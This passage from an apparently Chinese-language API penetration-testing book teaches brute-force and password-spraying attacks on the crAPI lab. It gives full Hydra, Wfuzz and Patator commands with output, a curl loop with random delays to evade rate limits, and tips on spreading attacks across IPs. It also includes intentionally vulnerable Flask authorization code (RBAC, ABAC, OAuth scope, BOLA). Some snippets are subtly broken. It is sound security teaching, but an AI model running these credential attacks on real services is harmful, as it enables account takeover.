本质上,虽然会话令牌是特定于 Web 应用程序中的用户会话的,但承载令牌和 JWT 是用于各种身份认证(AuthN)和授权(AuthZ)目的的更广泛的概念,每种都有其独特的优势和注意事项,在不同的上下文中需要做出权衡。理解它们的特点对于 Web 开发和 API 安全中的安全有效实现至关重要。
在下一节中,我们将探讨如何发现并实现使用弱凭证和默认账户的身份认证和授权。
测试弱凭证和默认账户
阅读本节标题时,作为一个细心的读者,你可能会联想到许多路由器、接入点、网络桥接设备,以及无数的物联网(IoT)设备。遗憾的是,根据客户需求,这些设备通常只是被简单配置后投入使用,几乎就像一个“即插即用”的盒子。实际上,一些设备设计的初衷正是如此。问题在于,这些设备中的某些类型实际上是被设计为智能设备,这就需要运行更复杂的软件以及凭证要求。由于许多用户/客户根本不关心产品如何工作,探索默认凭证的可能性几乎是无限的。
同样的事情也可能发生在 API 上。有时,开发者忘记删除仅用于测试的凭证对,有时凭证是硬编码在代码中的,而这些代码存储在公开的代码库中,还有时这些凭证被赋予了强大的权限,这是 API 中最糟糕的情况。其他情况下,默认账户可能并不存在,但凭证无论是有意的还是无意的——是的,有时可能带有恶意意图——它们的安全性较差。简单和/或短的密码、糟糕实现的伪随机数生成器、小的种子和盐值、脆弱的哈希算法和加密算法,都是弱凭证创建和传播的示例。
暴力攻击
这是任何关于应用程序凭证讨论中可能会首先出现的话题。如果你在 Google 上搜索类似于 最常用的密码 或 常见密码,或者这些词汇的组合,你会对搜索结果的数量感到惊讶。在本章的 进一步阅读 部分,你会找到一些密码目录的列表,其中有些目录的大小达到吉字节,可以用来进行测试。
在 API 渗透测试的上下文中,暴力破解攻击针对的是需要凭证进行访问的 AuthN 端点。你可以使用专门的工具来自动化这个过程,这些工具可以简化暴力破解过程,允许你指定用户名和密码列表、目标端点,并定义攻击参数。一些非常有用的工具包括 hashcat、Medusa 和 Hydra。让我们先尝试使用 Hydra 对 crAPI 进行攻击。但在此之前,我们需要了解 crAPI 如何处理 AuthN 尝试。可以使用 Burp Suite、ZAP,或者你的浏览器的开发者工具,打开登录页面并输入任何电子邮件地址和密码。crAPI 会显然拒绝你的尝试,但重要的是请求是如何发送的。你将会发现类似以下内容:
POST /identity/api/auth/login HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8888/login
Content-Type: application/json
Content-Length: 49
Origin: http://localhost:8888
Connection: close
{"email":"blabla@domain.com","password":"nonono"}
在使用 Hydra 时,我们需要遵守其中的多个字段,以便 crAPI 的后台能够正确处理我们的尝试。应用程序期望输入为 JSON 格式。同样,错误输出也会是 JSON 格式:
...
Content-Type: application/json
{"token":null,"type":"Bearer","message":"Given Email is not registered! "}
...
现在,尝试使用有效的凭证对进行测试,并观察相应的响应。答案是 JWT 及其他参数:
...
Content-Type: application/json
...
{"token":"eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJtYXVyaWNpb0Bkb21haW4uY29tIiw icm9sZSI6InVzZXIiLCJpYXQiOjE3MDc2NTkzODIsImV4cCI6MTcwODI2NDE4Mn0.X57Sg 1JDwDV1Zs7vyEcO_tJCcemXCHMV27ttJe-nuoF2hYpxRRAwYiM9BkKNDpWmfBSu4YtQTIa DjI9ueyC3xQM_g_w3Z6i3RxxMhZoEVf5psujkbmJi2DaznLiEISsVXashO30SOQKNFuCx v_1K8QtReRkGV7EzZcLrucEnM56vMfz6-Z0Kd5ND4YXBNDsj5CjdnehuxtjVrCf-q33a3J W9jwoqJPiFRoMVlbnX3wv3VHjU0768tpYwdon80th7Je34JgtLafbHDb9m8aSsnvdnnO7O LWOBtJC65HD14jdanY0GPt9ltqA9_-d2f6zk1jIOSJO-3emQqaXM6lMSAQ","type":"Bearer","message":null}
现在,选择所有作为成功登录活动一部分发送的请求参数。你几乎需要所有这些参数来构建命令。不管你使用了什么工具来捕获请求,你都会得到以下参数:
POST /identity/api/auth/login HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8888/login
Content-Type: application/json
Content-Length: 53
Origin: http://localhost:8888
Connection: close
{"email":"<your username>","password":"<your password>"}
Hydra 会并行化暴力破解尝试,以优化你的搜索。假设 admin 是一个可能的用户名(Hydra 会根据你选择的动词类型将 http 替换为 http-get 或 http-post),并使用一个包含密码的文本文件(passlist.txt),执行以下命令:
$ hydra -l admin -v -P passlist.txt -s 8888 localhost http-post "/identity/api/auth/login:{\"email\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=\"token\":H=Accept: */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate, br:H=Referer: http\://localhost\:8888/login:H =Content-Type: application/json:H=Origin: http\://localhost\:8888:H=Connection: close"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-07 03:09:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50915 login tries (l:1/p:50915), ~3183 tries per task
[DATA] attacking http-post://localhost:8888/identity/api/auth/login
[STATUS] 9112.00 tries/min, 9112 tries in 00:01h, 41803 to do in 00:05h, 16 active
[STATUS] 9234.00 tries/min, 27702 tries in 00:03h, 23213 to do in 00:03h, 16 active
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-07 03:14:31
让我们首先解释一些参数:
-
-l:要求你提供唯一的用户名以进行测试。 -
-v/-V:启用详细模式。 -
-P:要求提供一个密码列表文件。 -
-s:如果目标没有使用默认端口(80或443),你需要指定端口。 -
http-post:需要使用的 Hydra 模块。
双引号中的所有内容要么是标题的一部分,要么是请求体的一部分。"/identity/api/auth/login:{\"email\"\:\"^USER^\",\"password\"\:\"^PASS^\"}" 部分包括了 API 端点以及 crAPI 期望接收的 JSON 结构。在这里,^USER^ 会被你通过 -l 提供的登录名替换,而 ^PASS^ 会被 passlist.txt 文件中的密码逐一替换。接着,我们指定了在登录成功时期望接收到的内容(S 键)。如我们所见,当成功登录时,我们能够访问大量数据,包括一个 token 字样,后跟相应的 JWT。所有以 H= 开头的元素都是头部的一部分。此外,请注意反斜杠字符(\)。它用于转义紧随其后的字符,以便 Hydra 能够正确处理,而不是将其误认为请求的结束引号或分号分隔符。
到目前为止,我们什么也没有找到。让我们改用一个包含多个用户名的登录文件来尝试。这个文件包含如 admin、administrator、Administrator、admin123 和 4dm1n 这样的行。当然,文件中行数越多,任务就会越长。最好在进行其他操作时让它继续运行。Hydra 还允许你指定希望同时运行的线程数。以下命令可以写成一行:
$ hydra -l login.txt -v -P passlist.txt -s 8888 localhost http-post "/identity/api/auth/login:{\"email\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=\"token\":H=Accept: */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate, br:H=Referer: http\://localhost\:8888/login:H=Content-Type: application/json:H=Origin: http\://localhost\:8888:H=Connection: close"
观察并行线程(默认 16 个)正在执行攻击:
$ ps a | grep hydra
15897 pts/0 S+ 0:08 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
15919 pts/0 S+ 0:03 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
...
15933 pts/0 S+ 0:03 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
15934 pts/0 S+ 0:02 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
该工具成功找到了一个有效的用户名/密码组合:
[8888][http-post-form] host: localhost login: admin@example.com password: Admin!123
请记住,像 Hydra 使用的方法可能会被 API 后端本身检测到,或者更容易被其他保护层,如 WAF,检测到。该工具会生成成千上万甚至百万次请求发送到目标端点,这些请求可能会被启用了速率限制保护的 API 端点进行衡量和阻止。让我们检查一下,举个例子,crAPI 日志条目是如何显示的:
$ docker logs -f crapi-web
admin [07/Feb/2024:02:28:02 +0000] "POST /identity/api/auth/login HTTP/1.1" 400 0 "-" "Mozilla/4.0 (Hydra)"
为了规避这一点,你应该从不同的 IP 地址运行多个 Hydra 实例。可以启动多个容器,最好使用独立的网络段,或者创建一个具有伪造 IP 地址的受控环境。当然,切记不要在互联网上伪造有效的 IP 地址。我们是安全专家,不是罪犯。
其他有效的暴力破解工具包括 Medusa 和 ncracker。然而,在我为撰写本章所做的测试中,它们并不如 Hydra 成功,或者它们的性能没有 Hydra 好。运行这些类型的攻击时,千万不要忘记使用字典文件。将它们结合使用、混合搭配是接近某些 API 端点凭证的有效方式。
有一个非常有趣的工具叫做常见用户密码分析器(CUPP;github.com/Mebus/cupp)。它可以帮助你从互联网上下载大型密码列表。它还有一个交互模式,会根据你回答的问题来生成针对目标/受害者的密码列表。一个优点是,这段 Python 代码不需要任何第三方模块,下载后你就可以直接使用。我们来对 crAPI 进行测试。我们将从 AlectoDB 下载默认的用户名和密码(目前已合并至github.com/yangbh/Hammer/tree/master/lib/cupp)。克隆 CUPP 的仓库,并输入以下命令:
$ python cupp.py -a ___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/]
[+] Checking if alectodb is not present...
[+] Downloading alectodb.csv.gz from https://github.com/yangbh/... ...
[+] Exporting to alectodb-usernames.txt and alectodb-passwords.txt [+] Done.
你刚刚获得了包含用户名和密码的两个文本文件。你将在第六章《错误处理与异常测试》中了解更多相关内容,但还有一个名为Wfuzz的工具(github.com/xmendez/wfuzz),你可以通过多种方式安装它,帮助进行利用密码列表进行暴力破解攻击。我通过pip安装了它,并使用刚下载的用户名和密码对 crAPI 进行了测试。以下是结果:
$ wfuzz -z file,alectodb-usernames.txt -z file,alectodb-passwords.txt \
-X POST -H "Content-Type: application/json" \
-d '{"email":"FUZZ","password":"FUZ2Z"}' \
http://localhost:8888/identity/api/auth/login
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://localhost:8888/identity/api/auth/login
Total requests: 915096
=====================================================================ID Response Lines Word Chars Payload =====================================================================
000000001: 400 0 L 118 W 1520 Ch "123456" 000000042: 400 0 L 61 W 797 Ch "2222" 000000041: 400 0 L 61 W 797 Ch "21241036" 000000015: 400 0 L 61 W 797 Ch "(unknown)" 000000003: 400 0 L 61 W 797 Ch "!manage" 000000043: 400 0 L 61 W 797 Ch "22222"
…Output omitted for brevity…
Total time: 0
Processed Requests: 1105854
Filtered Requests: 0
Requests/sec.: 0
观察ID列中的请求编号。它们并不是按顺序排列的。原因是Wfuzz将它们组织在不同的线程中,这样可以一次发送多个请求。我们这次没有找到匹配的结果,但这并不影响工具的有效性。你可以将它与其他词典结合使用。Wfuzz非常方便,因为它会尝试多种用户名和密码组合,并显示所有成功的尝试。当然,如果你已经知道用户名或密码之一,这将大大减少程序的工作量。关于链接列表的参考,可以在章节末尾找到。
常见凭据和默认账户
你可以利用在上一章中获得的知识,例如 OSINT 技巧和其他枚举方法,来获得一些默认的 API 凭据。API 文档本身是默认凭据的有效来源。在你的渗透测试工作中,你可能会发现一个利用市场 API 提供商后端的网站。一些提供商的产品有默认凭据,包括管理员凭据。因此,借助检查文档或其他主动或被动方法,你可能会发现一对凭据。
使用与前一小节相同的方法,首先在 Google 上搜索默认密码或常见密码。在本章末尾可以找到 2024 年生成的密码列表。一些系统管理员仍然使用默认的管理员用户名,如admin或administrator来运行他们的 API 后台。即使是运行流行的admin或administrator网站,它们也可能是超级用户的用户名。其本地化版本,如administrador,也是有效的。
当然,你也可以使用 Hydra、Medusa 或 Burp Suite 的repeater或intruder功能,甚至通过网页浏览器来做这件事,但你也可以通过编写一个简单的循环脚本来自动化你的工作,比如以下这个:
#!/bin/bash
passwords="wordlist.txt"
MAXWAIT=2
while IFS= read -r line
do
curl -X POST --data "username=admin&password=$line >> output.txt
sleep $((RANDOM % MAXWAIT))
done < passwords
在前面的代码中,wordlist文件名被放入$passwords变量中。然后,我将$MAXWAIT变量设置为2。在while循环内,我执行了curl命令,并将其输出附加到output.txt文件中。然后,我让代码休眠一个介于 0 到 2 秒之间的随机数。$RANDOM变量是 Bash 内置的,返回一个介于 0 到 32,767 之间的随机整数。该整数然后被$MAXWAIT除,余数就是脚本休眠的秒数。这只是为了避免被某些 API 的速率限制控制限制。脚本在while循环结束时读取wordlist.txt文件并逐行处理。
做相反的操作也是有效的,这是一种叫做密码喷洒的技术。它的工作原理是针对多个用户账户测试一个单一密码或一小组密码。它对于那些为所有用户生成相同初始密码并建议用户在第一次登录后更改密码的应用程序非常有用。单纯依赖人类因素并不完全符合安全最佳实践。要进行密码喷洒,可以使用一些工具,如 CrackMapExec、Patator 和 Metasploit(它是一个包含众多插件的工具)。让我们考虑使用 Patator 来完成这个任务。
如果你在安装了本章提到的实验环境后跟随本章,那么在 Ubuntu 上运行 Patator 就像执行sudo apt-get update;sudo apt-get install patator一样简单。只需注意,这个包有很多依赖项。当我编写本章时,软件及其依赖项大约占用 300MB 的磁盘空间。
在深入挖掘并发现版本 0.9 的 Patator(用于编写本章的版本)似乎无法正确处理 HTTP 请求头后,我最终得到了以下结果:
$ patator http_fuzz method=POST resolve=domain:127.0.0.1 url=http://localhost:8888/identity/api/auth/login auto_urlencode=0 body='{"email": "FILE0", "password": "Admin!123"}' 0=./userlist.txt header=@fuzzerheader.txt
patator INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.10.12 at 2024-02-18 18:40 -03
patator INFO -
patator INFO - code size:clen time | candidate | num | mesg
patator INFO - ----------------------------------------------------------
patator INFO - 500 595:74 0.163 | user@domain.com | 5 | HTTP/1.1 500
patator INFO - 500 595:74 0.252 | user@example.com | 6 | HTTP/1.1 500
patator INFO - 500 595:74 0.451 | admin@domain.com | 1 | HTTP/1.1 500
patator INFO - 200 1031:509 0.442 | admin@example.com | 2 | HTTP/1.1 200
patator INFO - 500 595:74 0.359 | dummy@domain.com | 3 | HTTP/1.1 500
patator INFO - 500 595:74 0.366 | dummy@example.com | 4 | HTTP/1.1 500
patator INFO - Hits/Done/Skip/Fail/Size: 6/6/0/0/6, Avg: 5 r/s, Time: 0h 0m 1s
仅为了保持一致性,前面的命令是单行输入的。现在,让我解释一下所有不太直观的参数:
-
http_fuzz:Patator 有很多模块,这是用于处理 HTTP 目标的模块。由于我们尝试对 crAPI(一个 HTTP REST API 实现)进行身份验证,它是最佳选择。 -
method=POST:我们需要告诉http_fuzz使用哪种 HTTP 方法。为了进行身份验证,crAPI 期望请求使用 POST 方法发送。 -
resolve=domain:127.0.0.1:需要添加这个参数,因为 Patator 在处理 URL 时有些困惑。由于我的 crAPI 实现运行在本地主机上,我只是告诉 Patator 在解析主机名时,将其视为127.0.0.1。我知道这看起来不合逻辑,但这是我找到的让 Patator 与本地主机 URL 配合工作的方式。 -
autourl_encode=0:指示 Patator 在发送请求之前对所有请求体中的字符进行编码。这在处理非字母数字字符时非常有用,比如接下来会解释的 JSON 结构中使用的字符。 -
body='{"email": "FILE0", "password": "Admin!123"}':这是表示登录的 JSON 结构。我使用了默认的 crAPI 管理员密码来演示当工具成功时的情况。FILE0表示邮箱地址会被后面指定的文件中的行替换。 -
0=./userlist.txt:这对应之前的FILE0项。userlist.txt文件包含了所有用户名,每行一个,作为登录凭据。 -
header=@fuzzerheader.txt:fuzzerheader.txt文件包含了 crAPI 登录请求所需的头信息。这个内容会根据目标 API 端点的实现而有所不同,正如我们之前讨论过的,首先你需要枚举该端点,了解其细节。
userlist.txt 文件内容如下:
admin@domain.com
admin@example.com
dummy@domain.com
dummy@example.com
user@domain.com
user@example.com
fuzzerheader.txt 文件包含如下内容:
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/login
Content-Type: application/json
Origin: http://localhost:8888
Connection: close
观察之前执行的 Patator 命令的列状输出。每一行对应用户名和密码的一个组合。在这个例子中,只考虑了一个密码,但你也可以使用另一个文本文件(如字典文件)来提供给工具。在 code 部分,你可以看到作为响应发送的 HTTP 代码。size:clen 列显示了响应中接收到的字符数:分别是总大小和内容长度。后者才是我们关心的。时间一目了然。Candidate 假设每一个用户名和密码组合。如果我们尝试多个密码,行内容会是类似 username:password 的形式。Num 对应组合的编号。观察到 Patator 并不一定按 userlist.txt 文件中的顺序执行。虽然 admin@domain.com 在第一行,但它出现在第三行的输出中。最后再次显示的是带有代码的消息。
我们在寻找 200 响应码,这表示尝试是成功的。在我们的案例中,它发生在第四行输出中,其中 size 相比其他行大得多。然而,仅仅通过大小差异并不能说明任何问题。你应该关注所有带有 200 响应 码的行。请注意,也可能会出现假阳性。因此,将所有看似成功的用户名和密码分开,进一步调查。
在下一节中,我们将介绍 API 的 AuthZ 机制。
探索授权机制
所以,我们已经玩过了 AuthN 部分,但这只是整个过程的一部分。在获得系统访问权限后,我们需要拥有足够的权限去做一些普通用户无法做到的事情。然而,值得提到的是,即使是普通用户,也可能根据 API 的 AuthZ 控制实施方式,具有只读权限访问敏感数据或其他用户的数据。
在 API 渗透测试过程中,探索 AuthZ 机制对于识别潜在的安全漏洞并确保只有授权用户或客户端能够访问受保护的资源至关重要。AuthZ 机制定义了管理访问 API 端点、数据和功能的规则和策略,测试这些机制有助于评估其在执行访问控制和防止未授权访问方面的有效性。在进一步探讨如何探索 API 的 AuthZ 机制之前,我们需要了解它们是什么。AuthZ 机制是指定一旦用户认证后,用户可以做什么和不能做什么的控制方式。截止到目前,最常用的方法如下:
-
基于角色的访问控制 (RBAC):系统中的每个有效用户都会被分配一个或多个角色,这些角色决定了哪些操作是被允许的。根据系统的设计,某些操作也可能会被明确拒绝。一旦检测到这样的机制,你可以尝试发现存在哪些角色,并设计绕过/使控制失效的方法。一个现实的例子是,一家公司中属于人力资源部门(角色)的员工将能访问工资单数据,而其他员工(当然不包括董事会成员)则无法访问。
-
基于属性的访问控制(ABAC):结合分配给用户、他们试图访问的资源以及资源所在的物理或逻辑环境的参数或属性。这是通常由公共云服务提供商应用的一种控制方式,这些属性通常被称为“标签”或“标记”(不要与智能令牌或标签混淆)。它们由键值对组成,云系统管理员可以将其分配给不同的用户和资源,以更好地对资产进行分组。权限可以根据这些标签来设置。您可以尝试操纵或注入属性以获得未经授权的访问。一个现实世界的例子是在机构提供服务的承包商。一旦他们穿着公司提供的制服(标签),他们就被授予进入被分配给其承包公司的区域的权限。然而,每个承包商只能访问为其被聘用的公司指定的区域。当另一位为同一家公司工作的承包商最终被添加或取代之前的承包商时,新的承包商必须获得类似的制服。通过穿着另一位承包商的制服,您可能进入他们公司的区域,可能不会被注意到。
-
OAuth 范围:我们已经讨论了 OAuth 及其为 API 提供的功能。在这种情况下,范围定义用户被授权请求的具体访问级别或资源。一个现实世界的例子可能是军事设施,各级军官将共同工作。然而,上尉收到的信息的上下文要高于中尉的,后者高于上尉的,依此类推。冒充军官(绕过上下文)将使您能够访问受限/特权信息。
让我们更详细地看看每一个。
基于角色的访问控制
假设您正在测试和尝试探索的系统应用了这种机制。crAPI 是这样的,对吧?还记得我们曾伪造令牌,假装拥有ROLE_ADMIN角色而不是ROLE_USER吗?
在 API 安全领域,RBAC 在保护对敏感数据和功能的访问中发挥着关键作用。这种方法基于为用户或群组分配的预定义角色授予权限,确保个体仅具备其指定任务所需的访问级别。
RBAC 操作基于三个核心组件:
-
admin、editor、reader或guest。 -
用户:与 API 交互的个体实体,通常通过用户名、ID 或其他唯一标识符进行识别。
-
权限:用户可以对 API 资源执行的粒度操作,如创建、读取、更新或删除(CRUD)。
用户首先通过 API 进行身份验证,提供诸如用户名、密码或令牌等凭据。根据验证过的用户,系统确定其分配的角色。当用户请求访问特定的 API 资源时,系统会验证其相关角色是否具有所请求操作所需的权限。如果用户的角色具有所需权限,则授予访问权限;否则,拒绝访问,并返回相应的错误消息。
RBAC 的一些优点如下:
-
细粒度访问控制:通过根据特定角色定制权限,实现对 API 访问的精细控制。
-
减少复杂性:通过将相似的权限归类到角色中,简化访问管理。
-
增强的安全性:通过基于用户角色限制操作,最小化未经授权访问的风险。
使用 RBAC 的公共 API 示例包括云存储 API,其中授予特定文件夹或文件的读/写访问权限是基于用户角色的;社交媒体 API,允许用户根据其账户类型(管理员、版主或普通用户)发布、编辑或删除内容;以及电子商务 API,基于用户角色(客户、供应商或管理员)控制对产品信息、订单管理和定价数据的访问。
基于属性的访问控制
ABAC 深入探讨了访问控制的工作方式。它不仅仅依赖于角色及其权限,而是提供了一种更加细致和灵活的方法,特别适用于复杂的 API 环境。例如,医疗 API 根据用户角色、数据敏感度等级和访问位置来控制对敏感病人数据的访问。金融 API 基于用户身份、账户类型、交易金额和时间来授予财务交易的授权。物联网(IoT)API 基于设备类型、位置以及与设备相关的特定权限来启用安全的设备访问和数据交换。
除了仅仅依赖预定义的、有时是自定义的角色外,ABAC 还会评估与访问请求中不同实体相关的各种属性:
-
主体:请求访问的用户或实体(例如,用户名、IP 地址或设备类型)。
-
资源:被访问的 API 资源(例如,数据对象或端点 URL)。
-
操作:正在尝试的操作(例如,读取、写入或删除)。
-
环境:上下文因素,如时间、位置或特定条件(例如,紧急访问)。
-
属性:与任何前述实体相关的额外数据点(例如,用户部门、资源敏感度等级或时间)。
当用户与 API 进行交互时,系统会收集所有相关实体的属性。之后,系统会根据收集到的属性评估预定义的访问控制策略。这些策略定义了在特定条件下,某些操作是否被允许或拒绝。最后,根据策略评估结果,系统将决定是否授予访问权限。
应用 ABAC 的一些好处包括细粒度和灵活的控制,通过考虑除角色之外的各种属性,实现高度细化的访问控制;动态和可调整的策略,可以根据属性变化动态调整,适用于复杂和不断变化的环境;以及减少配置错误,通过关注特定属性和条件,降低角色配置错误的风险。
例如,Amazon Web Services(AWS)为其资源组标签提供了特定的 API,允许客户或合作伙伴通过创建、附加、更新或删除标签与其云资源进行交互。然后,这些标签可以进一步与 AWS IAM 策略进行检查,以符合云访问控制策略。
OAuth 范围
OAuth 范围在某些方面类似于 ABAC 支持的 API 中的属性,因为它们也应用标签。它们作为定义应用程序可以请求的特定权限的机制,进而决定它在 API 资源上的访问级别。OAuth 范围本质上是表示与 API 相关的一组特定权限的字符串。当应用程序使用 OAuth 请求 API 访问时,它会在其 AuthZ 请求中指定所需的范围。然后,AuthZ 服务器会根据应用程序注册的权限评估这些请求的范围,并授予相应访问级别的访问令牌。
从中我们可以得出至少以下几种利用 OAuth 范围进行 API 访问的直接好处:
-
细粒度控制:通过允许应用程序仅请求其所需的特定权限,实现对 API 访问的精确控制。
-
减少风险:通过限制应用程序访问令牌的范围,降低未经授权访问的风险。
-
提高透明度:为每个应用程序提供清晰的权限可见性,从而增强问责制和信任。
可以在 API 上创建许多不同的范围来满足特定需求。API 可以利用的某些范围类型包括 只读(允许应用程序从特定 API 资源中读取数据,但不能修改或删除数据)、只写(授予应用程序创建或更新 API 中数据的能力,但不能读取现有信息)、完全访问(提供对所有 API 资源的全面访问,包括读取、写入和删除权限)、用户特定(根据与应用程序关联的用户定义权限,从而在特定用户上下文中进行精细控制)和 资源特定(限制对 API 中特定资源的访问,允许应用程序仅访问所需的数据)。
以下 Python 代码块展示了处理 API 上 OAuth 范围的一些示例:
import requests
# providing the scope as part of the HTTP GET request
auth_url = "https://api.example.com/oauth/authorize"
params = {
"client_id": "your_client_id",
"redirect_uri": "your_redirect_uri",
"response_type": "code",
"scope": "read-write"
}
response = requests.get(auth_url, params=params)
# A JWT carrying the granted scope
token = {
"access_token": "your_access_token",
"expires_in": 3600,
"scope": "read"
}
# How you could check the scopes in a request
headers = {
"Authorization": f"Bearer {your_access_token}"
}
response = requests.get("https://api.example.com/resource", headers=headers)
# Check if at least read access was granted
if "read" in response.json().get("scopes", []):
# Access granted
else:
# Access denied due to insufficient scope
# Creating scopes with Flask
from flask import Flask
from flask_oauthlib.provider import OAuth1Provider
app = Flask(__name__)
scopes = {
"read": "Read access to all resources",
"write": "Write access to all resources",
"user:read": "Read access to user data",
"user:write": "Write access to user data"
}
@app.route("/api/protected")
@requires_oauth("read")
def protected_resource():
# Access granted for users with the "read"
代码的最后部分展示了利用 Flask OAuth 库的简便方法。Flask 是一个使构建 Python 后端应用程序更容易的框架。
一些广为人知的使用 OAuth 范围的 API 包括 Google Drive、GitHub、X(前身为 Twitter)、Dropbox 和 Facebook/Meta。
接下来,让我们学习如何绕过访问控制。
绕过访问控制
为了成功绕过访问控制,你必须要么探索 API 中的配置错误或缺失的配置,要么发现一些后端逻辑缺陷。所有提到的 AuthZ 机制都很强大,但它们在 API 端点上的实现方式可能使它们变得无效,或至少对某些尝试存在漏洞。
为了说明这一点,让我们提出三个不同的场景,分别有 RBAC、ABAC 和 OAuth 范围的设置。我们来了解一些攻击是如何进行的。对于 RBAC,假设你有一个管理员工数据的 API,具有不同的角色,如 employee 和 admin。admin 角色可以访问所有员工记录,而 employee 角色只能访问自己的记录。然而,API 在某些操作过程中没有正确验证用户的角色。换句话说,以下是这种情况:
-
作为一名员工,你应该仅能访问自己的数据。然而,你注意到在更新个人信息时,API 并未检查你的角色。
-
通过修改 API 请求以模拟管理员用户,你可以访问并修改任何员工的数据,从而绕过预定的 RBAC 控制。
这里展示了一段易受攻击的 Python 代码片段。请观察其逻辑:
# This function updates employee information.
def update_employee_info(employee_id, new_info, user_role):
if user_role == "admin": # Incorrectly assuming user_role is trusted
# Update employee info in the database
...
return "Information updated successfully"
else:
return "Access denied. No permission to perform this operation."
# API endpoint to update employee information
@app.route('/employees/<employee_id>', methods=['PUT'])
def update_employee(employee_id):
new_info = request.json
user_role = get_user_role(request.headers['Authorization']) # Function to get user role
return update_employee_info(employee_id, new_info, user_role)
该代码仅从请求头中获取请求者提供的角色,而未进一步检查该声明是否合法。因此,在这种情况下,一旦你提交一个 user_role 为 admin 的请求,你就会获得 API 的全部权限。
现在,转到 ABAC,考虑一个在线银行应用的 API,其中财务交易的访问是基于用户账户类型(如标准账户或高级账户)和交易金额来控制的。然而,由于属性验证逻辑中的缺陷,攻击者可以操控交易金额属性来执行高价值交易。
观察一个用 Python 编写的易受攻击的代码示例来表示这一点:
# Function to process financial transactions
def process_transaction(account_type, transaction_amount):
if account_type == "standard" and transaction_amount > 1000:
return "Access denied! Transaction amount above limit."
else:
# Process the transaction
...
return "Transaction processed successfully"
# API endpoint to initiate a financial transaction
@app.route('/transactions', methods=['POST'])
def initiate_transaction():
transaction_data = request.json
account_type = get_account_type(request.headers['Authorization'])
return process_transaction(account_type, transaction_data['amount'])
在这个示例中,initiate_transaction 端点的目的是限制标准账户类型的高价值交易。然而,代码未能正确验证交易金额,导致攻击者能够操控金额并绕过 ABAC 控制。请注意,采用类似于 RBAC 的方式,验证代码仅仅依赖请求者声明的信息。在这种情况下,如果你发送任何与 standard 不同的账户类型,便能够处理该交易,无论其金额如何。
最后,让我们来看一种可能使 OAuth 范围易受攻击的方式。假设你有一个 API 提供访问用户个人信息的功能,并且有不同的范围,如 read_profile 和 write_profile。然而,由于 OAuth 服务器的错误配置,分配给用户的访问令牌包含了不应有的范围,从而允许未经授权访问敏感资源。
看看这个易受攻击的代码:
# Function to read user profile information
def read_profile(access_token):
# Assuming access token scopes are trusted
if "read_profile" in access_token.scopes:
# Read user profile information
...
return "User profile: {}".format(profile_info)
else:
return "Access denied. Insufficient scope."
# API endpoint to retrieve user profile
@app.route('/profile', methods=['GET'])
def get_profile():
# Function to extract access token
access_token = extract_access_token(request.headers['Authorization'])
return read_profile(access_token)
在这个示例中,get_profile 端点本应限制只有具有 read_profile 范围的用户才能访问。然而,代码错误地假设访问令牌的范围是可信的,且没有进行适当的验证,这使得攻击者能够操控令牌并绕过 OAuth 范围限制。总之,如果在 AuthZ 令牌中发送了一个特权范围的声明,在这个后端代码的配合下,你将能够成功执行操作。还有两个我们不能忘记提及的话题,它们通常被简称为 BOLA 和 BFLA。
被破坏的对象级授权(BOLA)
这是一种安全漏洞,当一个 API 在有效地允许访问对象和资源之前没有正确地应用 AuthZ 验证时,便会出现这种情况。通常发生在一个 API 完全依赖用户输入(如对象 ID),而没有检查提供这些 ID 的用户是否真的有权限访问这些 ID 时。你可以通过操控输入来实现未经授权的数据访问。
为了举例说明,假设一个 API 端点根据用户 ID 检索用户详细信息。如果该端点没有检查经过身份验证的用户是否有权访问所需的 ID,渗透测试人员可以提供任何有效的用户 ID 来获取其他用户的数据。当受影响的 API(或其背后的应用程序)处理敏感数据时,比如财务或健康记录,这种情况可能非常危险。当 BOLA(Broken Object Level Authorization)出现在应用程序或 API 代码中时,您可以枚举对象 ID 并访问未经授权的数据。观察下面的 Python 代码,它存在 BOLA 漏洞:
from flask import Flask, request, jsonify
app = Flask(__name__)
def get_user_by_id(user_id): users = { "1": {"id": 1, "name": "Alice", "role": "admin"}, "2": {"id": 2, "name": "Bob", "role": "user"}, "3": {"id": 3, "name": "Charlie", "role": "user"} } return users.get(user_id, None)
@app.route('/user', methods=['GET'])def get_user(): user_id = request.args.get('id') user = get_user_by_id(user_id) if user: return jsonify(user) else: return jsonify({"error": "User not found"}), 404
if __name__ == '__main__': app.run()
任何经过身份验证的用户都可以通过提供他们的 ID 来访问其他用户的详细信息。现在观察一个删除漏洞的示例代码更改:
from flask import Flask, request, jsonify
app = Flask(__name__)
